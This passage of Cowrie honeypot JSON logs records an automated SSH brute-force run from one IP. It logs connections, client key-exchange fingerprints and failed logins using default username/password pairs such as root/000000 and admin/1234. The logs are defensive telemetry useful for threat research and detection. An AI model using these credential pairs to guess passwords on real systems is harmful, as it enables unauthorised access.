com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:55.164974Z","src_ip":"192.109.200.237","session":"0e2b86340329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:55.412411Z","src_ip":"192.109.200.237","session":"0e2b86340329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:56.031960Z","src_ip":"193.37.70.224","session":"702e56282580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:56.497087Z","src_ip":"192.109.200.237","session":"0e2b86340329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60722,"dst_ip":"159.203.135.109","dst_port":22,"session":"235abd72abe0","protocol":"ssh","message":"New connection: 192.109.200.237:60722 (159.203.135.109:22) [session: 235abd72abe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:58.206791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:58.211318Z","src_ip":"192.109.200.237","session":"235abd72abe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:58.296345Z","src_ip":"192.109.200.237","session":"235abd72abe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:58.546866Z","src_ip":"192.109.200.237","session":"235abd72abe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:59.683378Z","src_ip":"192.109.200.237","session":"235abd72abe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42568,"dst_ip":"159.203.135.109","dst_port":22,"session":"7336a6a62643","protocol":"ssh","message":"New connection: 192.109.200.237:42568 (159.203.135.109:22) [session: 7336a6a62643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:01.345261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:01.351830Z","src_ip":"192.109.200.237","session":"7336a6a62643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:01.434929Z","src_ip":"192.109.200.237","session":"7336a6a62643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:01.688834Z","src_ip":"192.109.200.237","session":"7336a6a62643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:02.774900Z","src_ip":"192.109.200.237","session":"7336a6a62643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4ce9887a211","protocol":"ssh","message":"New connection: 192.109.200.237:42576 (159.203.135.109:22) [session: c4ce9887a211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:04.667056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:04.698151Z","src_ip":"192.109.200.237","session":"c4ce9887a211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:04.751183Z","src_ip":"192.109.200.237","session":"c4ce9887a211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:05.070333Z","src_ip":"192.109.200.237","session":"c4ce9887a211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:06.156254Z","src_ip":"192.109.200.237","session":"c4ce9887a211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"09881cf42b3a","protocol":"ssh","message":"New connection: 192.109.200.237:42580 (159.203.135.109:22) [session: 09881cf42b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:07.811375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:07.816028Z","src_ip":"192.109.200.237","session":"09881cf42b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:07.898079Z","src_ip":"192.109.200.237","session":"09881cf42b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:08.143442Z","src_ip":"192.109.200.237","session":"09881cf42b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:09.242696Z","src_ip":"192.109.200.237","session":"09881cf42b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51992,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1a62c605cc","protocol":"ssh","message":"New connection: 192.109.200.237:51992 (159.203.135.109:22) [session: 6d1a62c605cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:10.947419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:10.952757Z","src_ip":"192.109.200.237","session":"6d1a62c605cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:11.040272Z","src_ip":"192.109.200.237","session":"6d1a62c605cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:11.285369Z","src_ip":"192.109.200.237","session":"6d1a62c605cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:12.370711Z","src_ip":"192.109.200.237","session":"6d1a62c605cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51998,"dst_ip":"159.203.135.109","dst_port":22,"session":"a204a7c49669","protocol":"ssh","message":"New connection: 192.109.200.237:51998 (159.203.135.109:22) [session: a204a7c49669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:14.204321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:14.208631Z","src_ip":"192.109.200.237","session":"a204a7c49669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:14.290781Z","src_ip":"192.109.200.237","session":"a204a7c49669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:14.536608Z","src_ip":"192.109.200.237","session":"a204a7c49669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:15.621276Z","src_ip":"192.109.200.237","session":"a204a7c49669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52000,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed242699fc8","protocol":"ssh","message":"New connection: 192.109.200.237:52000 (159.203.135.109:22) [session: 0ed242699fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:17.289863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:17.295064Z","src_ip":"192.109.200.237","session":"0ed242699fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:17.381435Z","src_ip":"192.109.200.237","session":"0ed242699fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:17.628134Z","src_ip":"192.109.200.237","session":"0ed242699fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:18.714074Z","src_ip":"192.109.200.237","session":"0ed242699fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51010,"dst_ip":"159.203.135.109","dst_port":22,"session":"a372532f2edb","protocol":"ssh","message":"New connection: 192.109.200.237:51010 (159.203.135.109:22) [session: a372532f2edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:20.389845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:20.395222Z","src_ip":"192.109.200.237","session":"a372532f2edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:20.478637Z","src_ip":"192.109.200.237","session":"a372532f2edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:20.756838Z","src_ip":"192.109.200.237","session":"a372532f2edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:21.842086Z","src_ip":"192.109.200.237","session":"a372532f2edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51028,"dst_ip":"159.203.135.109","dst_port":22,"session":"af51ad7ff359","protocol":"ssh","message":"New connection: 192.109.200.237:51028 (159.203.135.109:22) [session: af51ad7ff359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.597072Z"}
